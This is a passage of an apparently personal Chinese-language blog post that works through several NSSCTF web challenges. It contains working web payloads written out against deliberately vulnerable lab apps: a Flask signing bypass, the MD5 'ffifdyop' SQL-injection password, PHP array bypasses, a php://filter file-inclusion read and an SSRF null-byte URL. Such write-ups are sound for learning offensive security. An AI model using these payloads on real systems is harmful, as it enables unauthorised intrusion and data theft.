tmpfile.write(resp)#将resp中的数据写入result.txt
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"

return result

def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False


# Generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) #分别绑定不同的函数
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))#cookie传参action
param = urllib.unquote(request.args.get("param", ""))#get传参param
sign = urllib.unquote(request.cookies.get("sign"))#cookie传参sign参数sign
ip = request.remote_addr#获取请求的ip地址

if waf(param):#利用waf函数进行过滤
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secret_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param): #检测开头的几个字母是否是gopher或者file,如果是返回true
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

解题思路

先要绕过self.checkSign(),并且传入的action包含scan和read,然后执行if “scan” in self.action将/flag,txt写入result.txt,并且放在 result[‘data’] 中 , return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)



def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False



def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
return hashlib.md5(secert_key + param + action).hexdigest()

此处需要满足self.checkSign()

需要满足getSign(self.action, self.param) == self.sign

需要hashlib.md5(secert_key + param + action).hexdigest()== self.sign

就等同于hashlib.md5(secert_key + ‘flag.txt’ + ‘scanread’).hexdigest()== self.sign

所以我们要得到secert_key + ‘flag.txt’ + ‘scanread’的哈希值

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

注意到/geneSign中已经将action定为scan,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’

/geneSign?param=flag.txtread

image-20260118121836842

得到了哈希值efa325f1a9f0f3244cfb88e9e227fb9f

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))#cookie传参action
param = urllib.unquote(request.args.get("param", ""))#get传参param
sign = urllib.unquote(request.cookies.get("sign"))#cookie传参sign参数sign
ip = request.remote_addr#获取请求的ip地址

if waf(param):#利用waf函数进行过滤
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

然后访问/De1ta

cookie值传参action和sign

image-20260118121843692

1
2
3
/De1ta?param=flag.txt

Cookie:action=readscan;sign=efa325f1a9f0f3244cfb88e9e227fb9f

[GDOUCTF 2023]EZ WEB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()

/super-secret-route-nobody-will-guess在这个路径下运用put方式传参即可获得flag

用bp抓包

image-20260118121907152

[SWPUCTF 2022 新生赛]奇妙的MD5

看到了一个登录界面,题目提示是md5.就用一个MD5万能密码:ffifdyop

image-20260118121913426

跳转后ctrl+u查看源码

image-20260118121920077

利用数组进行绕过

?x[]=1&y[]=2

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}

依旧是数组绕过

wqh[]=1&dsy[]=2

[HNCTF 2022 Week1]easy_html

image-20260118121932188

查看/.%2Ff14g.php

image-20260118121938022

看到了登陆界面

img

将最大长度改为11,然后输入11位数字

image-20260118121944275

[羊城杯 2020]easycon

进行目录扫描

image-20260118121953257

先访问index.php

image-20260118121959650

弹窗显示alert(‘eval post cmd’),POST传参参数为cmd

image-20260118122005234

查看bbbbbbbbb.txt

image-20260118122010912

给了一堆不知道是什么的,像编码

image-20260118122018018是图片的编码,转为图片得到flag

[MoeCTF 2022]baby_file

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<title>Here's a secret. Can you find it?</title>
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>

?file=php://filter/read=convert.base64-encode/resource=flag.php

[GKCTF 2020]cve版签到

image-20260118123350559

1
?url=http://127.0.0.1%00www.ctfhub.com

image-20260118123356646

1
?url=http://127.0.0.123%00www.ctfhub.com

image-20260118123418128

[GDOUCTF 2023]受不了一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
别来沾边

需要在post传参GET传参中用数组绕过

payload

1
2
3
?aaa=114514a&bbb=114514&1=flag&flag=1
gdou[]=1&ctf[]=2
cookie=j0k3r

[HNCTF 2022 Week1]Interesting_http

image-20260118123602641

猜测post传参参数为want

image-20260118123608140

bp抓包

image-20260118123614690

提示notadmin,修改cookie

image-20260118123620417

提示不是这个地址,就用本地绕过

image-20260118123625991

[HNCTF 2022 Week1]What is Web

查看源码在最后找到了这个base64编码

用在线网站解码即可得到flag

image-20260118153010511


NSSCTF
https://colourful228.github.io/2026/01/18/NSSCTF/
作者
Colourful
发布于
2026年1月18日
更新于
2026年1月18日
许可协议